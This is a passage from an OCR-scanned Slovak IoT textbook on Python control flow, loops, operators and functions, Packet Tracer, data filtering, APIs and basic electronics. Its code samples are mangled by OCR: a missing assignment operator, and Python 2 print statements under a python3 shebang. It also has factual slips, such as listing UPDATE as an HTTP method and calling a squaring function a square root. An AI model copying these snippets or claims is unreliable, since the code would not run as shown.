vykona kéd IF, program uz nevykona kdd bloku ELSE.

Pri rozhodovacich podmienkach sa aplikuje nasledujica logika:

B ak sa vyraz vyhodnoti ako pravdivy, program pokracuje v zodpovedajucej sekcii,
B ak je tento vyraz nepravdivy, vykona sa ELSE sekcia a jej kod.

Princip funkcionality IF-ELSEje bliZSie popisany na diagrame 3.10:

if (podmienka) {
blok kédu pre IF;

}

else { AK je podmienka
blok kédu pre ELSE; pravdiva

} Podmienka

Ak podmienka
nie je pravdiva
A 4

Blok kédu pre ELSE Blok kédu pre IF

Obrazok 3.10 - Blokova schéma pre rozhodovanie IF-ELSE

Zdroj [5]
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POZNAMKA!

Pri grafickom formatovani kédu sa vyuZiva odsadzovanie (anglicky indentation). Odsadzovanie
kodu je vhodné pouzivat napriklad pri pisani funkcii, vetveni kédu spomocou IF-ELSE
a podobne. Existuju dve mozZnosti odsadzovania:

B pomocou medzier (anglicky spaces),
B pomocou tabulatora (anglicky tabs).

V kéde programovacieho jazykaPython verzie 3,nie je povolené mieSanie réznych spdsobov
odsadzovania kédu. Je potrebné si zvolit jeden, ktory bude pouZivany naprie¢ celym zdrojovym
kédom. Odporuca sa pouzivat odsadzovanie s pomocou medzier. Pre jednu Uroven odsadenia
st vhodné 4 medzery. (bodka v nasledujicom priklade predstavuje skryty znak - medzeru)

if izb_teplota > akt_teplota:
«...print("Vypni kdrenie™)

else:

Ukazka zjednoduseného kédu testovaniaizbovej teploty avypis prikazu pre riadiacu
jednotkuplynového kotla v jazyku Python:

izb_teplota 22

akt_teplota

nacitaj_teplotu()
if izb_teplota>akt_teplota:
print("Vypni kirenie")
else:
print("Zapni kirenie")

POZNAMKA!
Ukazkovy kdd je velmi zjednoduseny a nezohladriuje niekolko dolezitych aspektov, ktoré robia
termostat inteligentnym. Ide napriklad o hysteréziu, aktudlny stav kotla (zapnuty/vypnuty),
okrajové podmienky vstupov (zadana zaporna hodnota, alebo prilis vysoka teplota) a podobne.
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Podmienkova Struktura IF-ELSE v jazyku blockly by mala takuto podobu:

Obrazok 3.11 - IF-ELSE v jazyku Blockly

Zdroj [14]

Pri navrhu kddu je Casto potrebné mysliet aj na okrajové podmienky, ktoré mozu nastat pocas
pouzivania aplikacie. Ide napriklad o tieto situacie:

Aké najvyssie Cislo je mozné zadat do aplikacie ako vstup?

Co sa stane, ak pouzivatel zada nulu?

Co sa stane, ak pouzivatel nezadd &islo, ale prazdnu hodnotu?
Co sa stane, ak pouZzivatel zada pismeno namiesto islice?

Budu aplikaciou akceptované Speciadlne znaky?

V praxi je ¢asto potrebné opakovanie uréitej operacie. Napriklad overit kazdé ¢&islo vrozsahu,
skontrolovat prvky pola, otestovat znaky v retazci, ¢i dokonca vytvorit nekonecnt slu¢ku programu,
ktora sa bude vykonavat stdle dookola.

V programovacich jazykoch sa najcastejSie pouZzivaju nasledujice cykly:

B FOR

= WHILE

B DO-WHILE
Cyklus FOR

Cykly FOR sa pouzivaju na opakované vykonavanie bloku kodu pre konkrétny pocet pripadov. Je
obvyklé pouzivat cykly FOR, ked' je pocet opakovaniznamy.
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for (inicializacia; podmienka; inkremetacia)
{ Inicializacia

blok kédu;
}

Podmienka

Ak podmienka
je pravdiva

Ak podmienka
Blok kédu Y je nepravdiva

Inkrementacia

®

Obrazok 3.12 - Cyklus FOR

Zdroj [5]

Blok kodu sa vykonava az do momentu, kedy podmienka prestane byt pravdiva. Napriklad index sa
inkrementoval aZz dovtedy, nez prekrocil stanovenu hodnotu. Nasledujuci Python kdéd ukazuje
implementaciu scitavania Cisel v poli s pomocou cyklu FOR.

# Nac¢itanie zoznamu cisel
numbers = [6, 5, 3, 8, 4, 2, 5, 4, 11]
# deklaracie premennej pre vysledok
sum = 0
# iterativne séitavanie zoznamu
for val in numbers:

sum = sum+val
# Vypis vysledku, ktorym je cislo 48
print("Sucet pola je:", sum)

Vjazyku Blockly by takyto cyklus svopred stanovenym poctom opakovani mohol byt
implementovany pomocou funkcie repeat.

94



Obrazok 3.13 - Blockly — funkcia Repeat

Zdroj [14]

Cyklus WHILE

Cyklus typu WHILE sa pouZziva na vykonanie bloku kddu, pokial je stanovena podmienka pravdiva. Pri
cykle while sa najprv testuje podmienka a aZ nasledne sa vykonava kéd.

while ( podmienka )
{

blok kédu;
}

Podmienka

Ak podmienka
je pravdiva

Ak podmienka
Blok kédu Y je nepravdiva

: Obrézok 3.14 - Cyklus WHILE

Zdroj [5]

Ak testovana podmienka je takzvana tautoldgia (vZdy pravdiva, napriklad while(true)), slucka sa stane
nekonecnou. Vo vseobecnosti sa tato podmienka pouziva v situdciach, kedy nie je vopred zndmy
pocet opakovani, ktoré sa maju vykonat.

Pozrime si Python verziu prikladu pre iterativne scitavanie, kde pocet iterdcii je nastaveny
pouzivatelom na zaciatku programu.

# Nacitanie pouzivatelského vstupu

vstup = int(input(“"Zadaj pocet opakovani: "))
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# inicializdacia premennych

sucet = 0

pocitadlo = 1

while pocitadlo<= vstup:
sucet = sucet + pocitadlo
pocitadlo = pocitadlo+l

# Vypis vysledok

print("Vysledok suétu je:", sucet)

Blockly verzia cyklu WHILE ma dve podoby. K dispozicii je funkcia Repeat, ktord méze mat dva
varianty a vykondvat blok kédu podla nastavenej podmienky:

B Repeat WHILE — kéd sa vykondva pokial podmienka je stale platnd. Napriklad: sucet < 30
B Repeat UNTIL — kéd sa vykonava pokial podmienka nie je splnena. Napriklad: sucet > 30

- .
set [CLIEI 10 | random integer from (g to '@ 90 | set (KD to random integer from [ ') | to (')
| print || 53 print || (KD

: Obrézok 3.15 - Repeat WHILE / UNTIL

; Zdroj [14]

Cyklus DO-WHILE

Hlavny rozdiel DO-WHILE oproti cyklu WHILE je v poradi testovania podmienky. Pri DO-WHILE sa
najprv vykona blok kédu a aZz ndasledne sa testuje podmienka. To znamena, Ze pri blok kédu bude
vykonany minimalne jedenkrat.

V niektorych pripadoch to mézZe byt Ziadice. Naopak v inych situdciach méze byt pozadované, aby
program najprv otestoval podmienku, aZ nasledne rozhodol, ¢i dojde k spusteniu kodu.
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blok kédu;
} while ( podmienka );

Blok kédu

Ak podmienka
je pravdiva

Podmienka

Ak podmienka
je nepravdiva

: Obrézok 3.16 - Cyklus DO-WHILE

Zdroj [5]

V Pythone su dostupné aj zdkladné matematické operatory a porovnavacie operatory. Medzi nimi
najdeme napriklad:

zakladné aritmetické operatory,
mochniny,

modulo (zvySok po deleni),
negacia,

porovnavacie operatory,

booleovské operatory.

Ich pouZzitie interpretuju nasledujuce vypisy:

Matematické operatory Modulo
3> X = 2

>>>y =3 >>> 10%7
>»> z =75 3

> x ¥y >>> -10%7
6 4
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> X + Yy
5
> X ¥y + 2z

11

> (x +y) * z

25

Mocniny
>>> 2%%*8

256

Negacia
>»> X =5
>5> -X

-5

Porovnavacie operatory sa vyuZivaju hlavne v pri testovani podmienok IF-ELSE.

Operator Vyznam

< Menej nez

> Viac nez

<= Menej ale rovna sa
>= Viac alebo rovna sa
== Rovna sa

1= Nerovna sa

Tabulka 3.1 - Porovnavacie operatory

Ukazka pouZitia porovnavacich operatorov:

>>> 2 ==

False

>>> 3 ==

True

>>> 2 < 3

True

>>> "a < "aa
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True

* ZAPAMATAIJTE Sl!

Pri pouzivani operatorov je potrebné rozliSovat medzi porovnavanim a priradenim.

X==5 je porovnanie
X =5 je priradenie

Booleovské operdtory sa pouZivaju pre rozsirenie testovanych podmienok IF-ELSE. Standardne sa
testuje jedna podmienka. S pomocou booleovskych operatorov je moziné testovat splnenie
niekolkych podmienok sucasne.

OR AND NOT

if a or b: if a and b: if not a:
do_this do_this do_this

else: else: else:
do_this do_this do_this

Tabulka 3.2 - Booleovské operatory

3.6.6 Funkcie

Funkcie si malé podprogramy, ktoré vykonavaju Specifické operacie. Medzi niekolko hlavnych
benefitov pouZzivania funkcii v programovani patri:

zlepSenie prehladnosti kddu,

odstranenie duplicit v kode,

zrychlenie celého programu,

Setrenie paméatového miesta,

v pripade objektového programovania zlepsenie bezpecnosti aplikacie,
jednoduchsia diagnostika problémov,

moznost rozdelenia aplikacie na fazy,

moznost rozdelenia prac medzi viac programatorov.

Funkcie mo6zu byt sucastou hlavného programu, kniznice alebo externého modulu, ktory sa importuje
do hlavného programu.

Deklardcia funkcie
Nasledujuca funkcia nacita retazec str ako vstupny parameter a vypise ho na obrazovku.
def printme( text ):

print text
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Volanie funkcie

Definovanie funkcie poskytuje iba jej nazov, Specifikuje parametre, ktoré maja byt zahrnuté do
funkcie a Struktury blokov kédu. Po dokonceni zakladnej deklaracie funkcie je potrebné funkciu
zavolat.

#!/usr/bin/python3
# Deklaracia funkcie
def printme( text ):
print text
# Volanie funkcie
printme("Toto je testovanie volania funkcie printme!")

Vstupny parameter funkcie

Niekedy je potrebné aby funkcia pracovala so vstupnym parametrom, ktory sa meni na zaklade
pouzivatelskeho vstupu pripadne podla parametrov nacitanych zo snimacov. Priklad akym sp6sobom
je mozné do funkcie vlozit pozadované hodnoty vyobrazuje nasledujuci zdrojovy kod:

def printme(first, second, third, *therest):
print("First input: %s" %(first))
print("Second input: %s" %(second))
print("Third input: %s" %(third))

print("Not sorted inputs... %s" %(list(therest)))

printme(1,2,3,4,5)

Po spracovani kédu by sa na obrazovke mal zobrazit tento vystup:
First input: 1

Second input: 2

Third input: 3

Not sorted inputs... [4, 5]

Ndvratovd hodnota funkcie

Navratova hodnota funkcie predstavuje vystup, ktory je mozné predat do inej ¢asti kddu pre dalsie
spracovanie. Casto je potrebné, aby sa po zavolani funkcie ziskal jej vysledok, ktory sa dalej
spracovava alebo napriklad vypisuje na obrazovku. Pre nazornost si pozrime nasledujuci priklad
vypoctu odmocniny:
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def square(x):
y = X ¥ x

return y

toSquare = 10

result = square(toSquare)

print "The result of " + str(toSquare) + squared is + str(result)

3.6.7 Rozsirenia

Vyhodou jazyka Python je existencia velkého mnoZstva kniznic pre rézne oblasti a pouZitie.
V repozitdroch mézeme najst napriklad moduly a kniznice pre tvorbu grafickych pouzivatelskych
rozhrani, webovych aplikacii, automatizaciu, pracu s databazovymi systémami, spracovanie textu
a obrazu a mnoho inych funkcii.

V zékladnej instalacii Pythonu je uZ obsiahnutych niekolko desiatok modulov. V pripade, Ze
potrebujete $pecifické moduly, musite ich doinstalovat manudlne. Pre zjednodusenu instalaciu bol
vytvoreny balickovaci systém pip, podobny ako pozname z prostredia linuxu apt, pripadne dnf.

InStalacia OpenCV modulu pre vyvoj aplikacii pre pocitacové videnie:
pip install opencv-python
Import modulu do zdrojového kédu:

import cv2

3.7 Packet Tracer

Packet Tracer (PT) je nielen silny nastroj na modelovanie, simulaciu a testovanie sietovych prostredi,
ale aj pre rieSenia loT. PT vo verzii 7 podporuje mnozstvo zariadeni a funkcii loT, ktoré umoznuju
navrhnut a zostavit kompletné rieSenia v oblasti internetu. Tymto sa z PT stava idedlny nastroj pre
vyucbu a simulaciu.

Medzi zariadeniami loT je mozné najst modely senzorov, ovladacov, mikroprocesorov, pocitacov typu
Raspberry Pi azariadeni na simuldciu sieti typu Fog. To vSetko umoznuje navrh, konfiguraciu,
programovanie a simulaciu problémov coraz sofistikovanejsich modelov IoT systémov v domacom
prostredi.

Jednou z poslednych noviniek aplikacie je simulacia Smart Home, kde si vo virtudlnom dome vieme
skusit ovladat Standardné Smart Home zariadenia. Takto si dokdzeme wvyskusat ovladanie
komplexnych systémov bez nutnosti akejkolvek investicie.
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Obrazok 3.17 - Packet tracer

Zdroj [11]

PT okrem iného umozriuje emulovat takzvany Single-board-computer (SBC) a mikrokontrolér (MCU).
Asi najznamejsSim SBC je Raspberry Pi. V pripade MCU je to Arduino, ktoré sa teSi ohromnej
popularite vdaka velmi silnému marketingu.

Single-Board-Computer

SBC je pocita¢ navrhnuty tak, aby sa v maximalnej miere podobal beZinému pocitacu, ktory
pouzivame na stoloch. SBC obsahuje prvky, ako je Ulozny priestor, pamat a vstupy / vystupy v jednej
doske.

SBC su velmi beiné v loT rieSeniach, pretoZe sa pouZivajui na vykonavanie kodu a pridavanie
simulovanej inteligencie do beZnych zariadeni.

V aplikacii PT je emulované SBC a poskytuje moZnosti spustania kodu asimulovat mnoZstvo
internetovych a vzdialenych pripojeni. Konkrétne PT SBC poskytuje 2 porty USB a 10 digitalnych 1/
O portov, ktoré mozno pouzit na pripojenie senzorov a zariadeni loT. Sucastou je aj zabudovany
interpreter jazyka Python, ktory umoziuje, aby bol nativny Python kéd napisany a vykonany priamo
na emulovanom SBC zariadeni.

Mikrokontrolér

Mikroprocesorova jednotka (MCU) je maly pocitac postaveny systémom na Cip (SoC). Je podobna
SBC, ale obsahuje mikroprocesor s nizsim vykonom, ¢o ho obmedzuje aj na pouziti. SoC obsahuje
procesorové jadro, pamat a programovatelné vstupné / vystupné periférie.
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Mikrokontroléry su vyuzivané pre riadenie embedded systémov, ktoré vyzZzaduju len malo
systémovych prostriedkov. V beznej praxi najdeme mnoho aplikacii, ktoré sa spoliehaju na riadenie
mikrokontrolérmi, su to systémy riadenia motorovych vozidiel, medicinske pristroje, dialkovo
ovladané stroje a zariadenia.

Packet Tracer (PT) prindsa podporu pre emuldtor MCU. Pouzivatel mdze naprogramovat emulovany
MCU na vykonavanie uloh podobnych MCU v redlnom svete. Pre zjednodusenie procesu je mozné PT
MCU naprogramovat aj pomocou Pythonu. PT MCU ma jeden port USB, Sest digitalnych | / O portov
a Styri analégové |/ O porty. Digitélne 1 / O porty PT MCU umozrfiuju pouzivatelovi pripojit digitalne
snimace a akéné ¢leny. Analdgové |/ O porty umozniuju pouzivatelovi pripojit analdogové snimade
a servopohony.

3.8 DatavloT

Jednou z najcastejSich aplikacii pre loT systémy je zhromaZdovanie uUdajov. Zber Udajov aich
naslednd analyza sa casto vykondva na odliSnych miestach. Zariadenia asenzory su casto
umiestriované na miestach, kde sa méa uskutocriovat zber Udajov. Analyza je vykonavana v cloude
alebo na serveri, kde je k dispozicii vyssi vypoctovy vykon. Polnohospodarstvo, doprava a vyroba su
len niekolkymi prikladmi oblasti, v ktorych sa zber Udajov vykonava.

3.8.1 Co suddta

Data (alebo tieZ Gdaje) mdzu byt slova v knihe, ¢lanku alebo blogu. Udaje mozu byt obsahom tabulky,
databdzy. M6Zu mat aj formu obrazkov, videa. Samotné Udaje moZu byt nezmyselné. Aby ziskali
vyznam musime ich interpretovat, korelovat alebo porovnavat. Tymto sa tieto data stavaju
uzitoc¢nejsie a stavaju sa informaciami. Ked' sa tieto informacie aplikuju, stavaju sa poznatkami.

Zatial ¢o zhromaZdovanie Udajov je dblezité, idaje musia byt filtrované (tzv. pre-processing) skér,
ako prejdd do samotného procesu analyzy. Zhromazdené Gdaje mo6Zu byt upravované a filtrované
v blizkosti miesta ziskania alebo mozu byt prenasané a ulozené v cloude na spracovanie neskor.

Casto su Udaje zviacerych zdrojov kombinované, aby poskytli najuzitoénejsie informacie. Na
efektivne spracovanie zhromazdenych uUdajov sa pouZivaju komplexné pocitacové programy, ktoré
vyZaduju vyssi vypoctovy vykon, nezZ je k dispozicii na loT zariadeni.

Pri zbere Gdajov je délezité si uréit mnoistvo, ktoré bude potrebné pre ziskanie pozadovanych
informacii. Nie je vidy potrebné, alebo mozné, zhromazdovat vsetky dostupné udaje, ktoré sa daju
ziskat v ramci projektu alebo procesu monitorovania. MnozZstvo Udajov, ktoré je moiné zbierat,
jeCasto zavislé od technickych mozZnosti senzorov, siete, pocitacov ainych hardvérovych
komponentov.

Pozrime sa, ako by mohlo vyzerat spracovanie dat v oblasti polnohospodarstva. Senzory by
zhromazdovali Udaje o vlhkosti pddy, teplote akyslosti. Dalsie snima¢e by mohli zbierat Gdaje
o hladinach CO, vo vzduchu, okrem teploty vzduchu, barometrického tlaku a vihkosti. VSetky tieto
udaje maju len maly Uzitok, kym sa nespracuju.
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Pocitacovy program moze byt napisany na spracovanie Udajov a odhadnutie pravdepodobnosti dazda
na zaklade zmien teploty vzduchu, vlhkosti a kolisania barometrického tlaku. Zozbierané udaje
o pédnych podmienkach mdzu byt spracované aj softvérom na optimalizaciu procesu zberu.

3.8.2 Filtrovanie dat

Nie vsetky informdacie a data, ktoré IoT zariadenie zosnima, su pouZitelné alebo Ziaduce pre dalsie
spracovanie. Preto je potrebné vytvorit filter, ktory zabezpedi, Ze zariadenie bude prijimat a dalej
spracovavat len tie informacie, ktoré vyhovuju podmienkam.

Daldou zvyhod filtrovania vstupnych dat je zlep3enie stability systému a zvy$enie bezpelnosti.
Predstavme si situdciu, kedy loT zariadenie snima teplotu. Co ak sa na vstupe objavia nasledujtice
parametre:

-1500 °C,

+3000 °C,

QWERTY,

5,

medzera alebo prazdny znak,

XXXXXKXXXXXKKXXXKKKKXXXXKKKXXXXKKKXXKKXKKX...... . XXXXXXXXXXXXXX (dlhy retazec)?

Na prvy pohlad by sa mohlo zdat, Ze takéto mozinosti nie si mozné pri snimani teploty. Utok na
zariadenie ale moze byt realizovany pomerne jednoducho. loT zariadenie snima data z teplotného
snimaca pripojeného cez SPl rozhranie. Po tomto rozhrani tecu informacievo forme dat. Za
predpokladu, Zze Utocénik ziska pristup ku komunikacnému kanalu, dokaze pozmenit data. Zmenou dat
na niektoré z vyssie uvedenych prikladov dokaze dostat systém do neziaddcich stavov.

Samozrejme, jedna z komplikacii je nutnost ziskat pristup ku komunikaénému kanalu, poznat spravny
format a rychlost komunikacie, typy a format sprav, byt schopny tieto spravy Citat, interpretovat,
podvrhnut a nasledne zapisat do komunikaéného kanalu. Hackovanie teda nie je jednoduchou
zéleZitostou, pretoze vyzaduje pomerne rozsiahle skisenosti aznalosti o funkénosti systémov,
komunikacii a protokoloch.

Netreba vsak tieto bariéry podceriovat. V pripade Utoku na systém, méze byt riziko Skody a Uniku dat
prili$ vysoké a mbze autora systému stat velmi vela pefazi kvéli sidnym procesom a poziadavkam
o nahradu skody.

3.8.3 Rozhodovanie

Délezitym aspektom loT systémov je jeho schopnost prijimat rozhodnutia, spustanie poplachov
a posielanie notifikacii, ak hodnoty (napriklad oxid uhlicity) prekrocia prahovid hodnotu. Niektoré
zariadenia internetu (loT) su tieZz schopné zloZitejSieho rozhodovania, ako je napriklad identifikacia
tvare osoby z kamery. Komplexnost rozhodovani je zavisla od softvéru a dostupného vypoctového
vykonu.

Na zaklade rozhodovania dokaze systém upravovat vykonavané akcie a vystup, ¢im sa loT zariadenie
javi ako inteligentné.
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3.8.4 API Rozhranie

Komplexné systémy, ktoré ponukaju sluzby, funkcie alebo data inym systémom, pouzivaju takzvané
APl rozhrania. API je skratka pre application programming interface. Zjednodusene povedané API
funguje podobne ako kniznica v jazyku Python alebo operacnom systéme.

loT zariadenie mdZe prostrednictvom APl poZiadat webovy systém o ziskanie dat o pocasi pre
konkrétnu oblast. V Ziadosti posle GPS koordinaty polohy a o¢akava odpoved.

Pri pouzivani API rozhrani je nutnostou kvalitnd dokumentacia celého systému. Bez toho, aby
programator poznal v akej Struktire ma posielat dotazy na API rozhranie, je pouZivanie APl doslova
utrpenim. Vyvoj systému sa vtedy stava ¢asovo aj finanéne naro¢nym.

CRUD

Pri APl sa najcastejSie posielaju Ziadosti v 4 formatoch, oznacované aj ako CRUD operacie (create-
read-update-delete):

POST - Ziadost o vytvorenie dat (zapis),
GET - ziadost o prijatie dat (Citanie),
UPDATE - Ziadost o aktualizaciu dat,
DELETE - Ziadost o mazanie dat.

Method HTTP request Description

URIs relative to https://www.googleapis.com/calendar/v3, unless otherwise noted

delete DELETE /calendars/calendarld Deletes an access control rule.
/acl/ruleld
get GET /calendars/calendarId/acl/ruleld Returns an access control rule.
insert POST /calendars/calendarId/acl Creates an access control rule.
list GET /calendars/calendarId/acl Returns the rules in the access control list for the calendar.
patch PATCH /calendars/calendarld Updates an access control rule. This method supports patch
/acl/ruleld semantics.

update PUT /calendars/calendarId/acl/ruleld Updates an access control rule.

watch POST /calendars/calendarId/acl/watch Watch for changes to ACL resources.

Ukazka poslania APl dotazu na APl server pomocou Linuxového nastroja curl:
curl -i -X POST \
--url http://localhost:8001/apis/ \

--data 'name=example-api’ \
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--data 'hosts=example.com' \

--data 'upstream_url=http://mojserver.org’

Curl je nastroj pre posielanie HTTP Ziadosti. Ziadost $tandardne obsahuje URL a datovu ¢ast. Datova
Cast ma Struktdru podla dokumentécie API servera.

Pristup k jednotlivym operaciam a zdrojom je moiné obmedzit podla pouZivatelskych Gétov aim
pridelenym pristupovym pravam. Podla komplexnosti systému su k dispozicii aj iné bezpecnostné
prvky ako obmedzovanie poctu Ziadosti v ¢asovom intervale (tzv. rate limiting), pouzivatelské skupiny
(tzv. Group access). Taktiez je mozné zvolit niekolko réznych spdsobov autentifikacie ako API kltde,
OAuth, Json-Web-Token (JWT), HMAC (keyed-hash message authentication code) a tak podobne.

API rozhranie je vhodné pouZit aj v situacii, ked' je potrebné pre webovy systém vytvorit mobilnu
aplikaciu. Jeden z hlavnych dévodov pouZitia APl je bezpelnost. Ak zverejnime svoju mobilni
aplikaciu napriklad na Google Play, ktokolvek si ju méze stiahnut a dekompilovat kéd.

V pripade, Ze by sme mali v kdde napisané funkcie, ktoré priamo pristupuju k Vasmu databazovému
serveru, ktokolvek by dokazal urcit Vasu databazovu struktiru a pripadne sa aj dotazovat v databaze
na konkrétne data. Cely tento pristup je velmi nebezpecny a bola by len otazka ¢asu, neZ sa systém
stane tercom hackerského utoku.

Vyber API

V sucasnosti existuje na trhu niekolko platenych aj open-source rieseni, ktoré su pripravené pre
pouzitie. Pri vybere (akéhokolvek softvérového produktu) je délezité zohladriovat nasledujice
aspekty:

doba existencie softvérového produktu na trhu,

pouzivatelska zakladna,

licenéné podmienky,

platobny model,

dokumentacia,

pocet otvorenych a vyriesenych chyb (aplikovatelné len v pripade, Ze maju GitHub repozitar),
dystémové poziadavky na vykon hardvéru, typ a verziu operacného systému.

Pri volbe nespriavneho softvéru sa cely projekt mdze predraZit, kedZe sa budi musiet suvisiace
aplikacie znova instalovat, konfigurovat alebo inak menit. NavySe vsetko nieco trva, takie je
pravdepodobné, Ze sa celé nasadenie systému zdrZi aj o niekolko dni aZ tyZzdrov.

Schéma API

Jednoducho povedané, API rozhranie je filter, ktory je umiestneny pred vasou serverovou aplikaciou
a ukryva jej funkcionalitu pred vonkajsim svetom. Tato brana moze byt hostovana vami alebo tretou
stranou. Zvycajne brana poskytne jednu alebo viac z nasledujucich moznosti:

kontrola pristupu - umoznuju pristup iba tym pouZivatelom a sluzbam, ktori presli overenim
identity.
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obmedzenie rychlosti - obmedzenie toho, kolko poZiadavieksa odosiela do vasho rozhrania
API.

analyza, metriky a logovanie toho, ako sa pouZiva vase API.

filtrovanie komunikacie - analyza toho, ¢i prichadzajuce poziadavky na server nemaju
charakter utoku.

presmerovanie - preposielanie dat a Ziadosti o data na iny server v sieti.

Jednoduchy diagram znazornujuci typicky pracovny postup pomocou programu Kong:

™\ o
() — /%y \
P& L ) ( )

D= B~ —
CLIENT KONG SERVERS APl

Obrazok 3.19 - Kong APl schéma

Zdroj [16]

3.8.5 Bezpecénost

Softvér, ako zakladny riadiaci systém, sa ¢asto stava ter¢om Utoku na zariadenia. V pripade sietovych
alebo 10T zariadeni, nemusi byt Utocnik fyzicky pritomny pri zariadeni, ale Gtok vie realizovat aj
vzdialene cez siet.

Podobne je to aj pri WiFi sieti. Utoénik sa nemusi vldmat do firmy, aby ziskal pristup do ich
infrastruktary. V pripade WiFi siete to mdze realizovat aj z ulice, kde sedi na lavicke a mdze tak
realizovat pokusy o pristup do siete.

Preto uz pri vyvoji softvéru a riadiacich systémov je potrebné mysliet na bezpeénost celého systému.
Odporucané a osvedcené postupy na zabezpecenie pripojenych zariadeni v ramci internetu veci by
mali dodrziavat zdkladné koncepty:

a) Zariadenia by sa mali chranit pred Gtokmi, ktoré poskodzuju ich funkciu, alebo umoznit ich pouZitie
na iné ucely.

b) Zariadenia by mali chranit sikromné autentifikacné Gdaje a integrované privatne a verejné kltce
pred neopravnenym pristupom.

c) Zariadenia by mali chranit informacie prijaté, prenasané alebo ulozené lokadlne na pristroji pred
nevhodnym odhalenim neopravnenym osobam.

d) Zariadenia by sa mali chranit pred tym, aby boli zneuZité na Utok na iné zariadenia v lokalnej sieti
alebo na internete.

Pre dokonall bezpecnost |oT zariadeni je klticové:

fyzické zabezpecenie,
schopnost chranit pévod a integritu (neporusenost) kodu,
schopnost vzdialenej aktualizacie.
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4.1 Zakladna terminologia

Elektronické zariadenia pouzivame kazdy den, od mobilnych telefénov cez televizory az po mnohé
z nasich réznych nastrojov a zariadeni. Pomenovanie elektronika je odvodené od slova elektrén,
ktory je zdrojom elektrického naboja. Elektronika je oblast stidia zamerana na riadenie elektrickej
energie a fyzickych komponentov a obvodov, ktoré pomahaju riadit elektrickd energiu.

Svet internetu veci je zaloZeny na niekolkych technolégiach. Jednou z tychto technoldgii su aj lacné
elektronické snimace, ktorych ceny sa stale znizuju, ¢im sa zvySuje ich dostupnost pre beznych ludi, ¢i
malé série vyrobkov.

Poznanie suciastok aich principov fungovania otvara brany do nového sveta. Vytvorit si vlastné
elektronické zariadenia alebo cely hardvérovy produkt je v sucasnosti omnoho jednoduchsie, nez
tomu bolo v minulosti.

Pre lepSie pochopenie oblasti elektroniky a elektronickych obvodov je vhodné sa na Gvod zoznamit so
zakladnou terminoldgiou.

Elektricky prud je tvoreny usporiadanym pohybom nosicov elektrického ndboja (hlavne elektronov,
ale aj idnov). Prud tecie v uzavretej slucke smerom od vyssieho potencidlu k nizSiemu a je konstantny
v celej slucke.

Elektrony spolu s proténmi aneutrénmi tvoria atémy. Zakladny ndboj na elektrone sa meria
v jednotke nazyvanej coulomb. Jeden coulomb sa rovna mnoZstvu naboja preneseného pri stalom
prude jeden ampér za jednu sekundu.

Chemické prvky su tvorené atdmami. Atomy su stavebnymi kamerimi vsetkych prvkov a veci.
Elektrony nesu negativne naboje a su pritahované ku kladne nabitym proténom v jadre atému.

PritaZlivé sily medzi atémovymi jadrami aich vonkajsimi (valen¢nymi) elektrénmi su v niektorych
prvkoch silnejsie ako v inych.

Elektrické vodice s materidly tvorené prvkami, ktoré maju slabu pritazlivost medzi atdmovymi
jadrami aich elektrénmi. Vo vodivych prvkoch maju elektréony tendenciu prechadzat od atéomu
k atomu. Priklady elektricky vodivych materidlov su kovy ako med), zlato a striebro.

Elektrické izolanty si materidly vyrobené z prvkov, ktoré silne pritahuju ich elektrény a v ktorych
elektrény nikdy neopustaja atém. Prikladom je susené drevo, sklo a r6zne gumové materialy.

Napdtie je energia, ktord pohana elektrony. MozZe sa tieZz oznacovat ako elektricky tlak. Napatie sa
meria ako rozdiel v elektrickej potencidlnej energii medzi dvomi bodmi. Velkost tejto energie sa
udava vo voltoch.

Elektricky prud je usporiadany pohyb nosi¢ov elektrického naboja (elektrénov, idnov) v latkach.
Jednotkou pradu je ampér.

Vykon je mnoZstvo energie spotrebovanej v priebehu c¢asu. Vykon je merany vo wattoch. Zakladna
formulacia vykonu je vykon = napétie x prud.
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Elektricky obvod je fyzicka siet (alebo model fyzickej siete) prepojenych elektrickych komponentov.
Je to vratane batérii, rezistorov, kondenzatorov, induktorov a spinacov. Pri studiu elektroniky bude
elektronicky obvod takmer na kazdom kroku.

Voltmeter

Obrazok 4.1 - Elektronicky obvod

Zdroj [17]

Elektronicka schéma je nakres elektronického obvodu pomocou dohodnutych schematickych
znaciek.
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Obrazok 4.2 - Schéma obvodu

Zdroj [11]

Elektrotechnické znacky su dohodnuté symboly, ktoré predstavuju konkrétne suciastky pripojené do
elektronického obvodu.
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Spinac Monoclanok Batéria Kondenzator
Ziarovka Voltmeter Ampérmeter Cievka
Rezistor Potenciometer Motor Diéda

—se— B

Tranzistor NPN Spinac Tlacidlo Uzemnenie

Obrazok 4.3 - Schematické znacky

Zdroj [5]

Integrované obvody sU miniaturizované obvody vyrobené na jednom kuse polovodi¢a. Casto sa

oznacuju ako Cipy a m6zu mat stovky az miliardy elektronickych komponentov vloZzenych do jedného
cipu.

4.2 Zakladné koncepty

Zakladné koncepty elektroniky pomahaju pochopit fungovanie elektronickych obvodov. Po ich
osvojeni dokdazeme vyriesit mnoho technickych problémov, ktoré sa objavia pri navrhu a diagnostike
problémov s elektronickym zariadenim alebo jeho elektronickymi obvodmi.

Medzi najcastejsie pouzivané zakladné koncepty patria:

sériové zapojenie elektronickych suciastok,
paralelné zapojenie elektronickych suciastok,
principy fungovania analégovych obvodov,
principy fungovania digitalnych obvodov,
striedavy a jednosmerny prud.

Sériové zapojenie

V sériovom obvode su komponenty navzdjom prepojené v slucke medzi kladnou a zapornou svorkou

zdroja napdjania, ako je to znazornené na obrazku 4.4. Takéto zapojenie rezistorov sa nazyva
napatovy delic.
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Obrazok 4.4 - Sériové zapojenie
Zdroj [5]

Pre pomery napati U1, U2, U3, ktoré su vyobrazené na obrazku 4.4, mbézeme napisat vseobecny
vzorec. Podobny vzorec je aplikovatelny aj pre hodnoty odporu R1, R2, R3.

= VZOREC!

U=U1l:U2:U3

R =R1:R2:R3

E EEEEEEEEEEARE

Elektricky prud prechddza cez jednotlivé komponenty linedarnym sposobom. Priklad sériového
obvodu je mozné vidiet aj v schématickom zapojeni batérii (oznacované aj ako zdroj), kde je jeden
zdroj pripojeny k dalSiemu, jeden priamo za druhym.

Obrazok 4.5 - Spojenie batérii do série

Zdroj [18]

Paralelné zapojenie

V paralelnom obvode sa prud teclci zo zdroja rozdeluje na jednotlivé vetvy, v ktorych su zapojené
rezistory R1, R2 a R3. Pre pomery prudov 1, 12 a 13, ktoré tecu rezistormi R1, R2 a R3 plati:

VZOREC!

l1:12:13 = 1/R1:1/R2:1/R3

FENEEEEEEgEEENE]
EEEEEEEEEEEEEN
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Takéto zapojenie sa nazyva aj deli¢ pradu. Zjednodusene povedané, prud sa v tomto pripade rozdeli
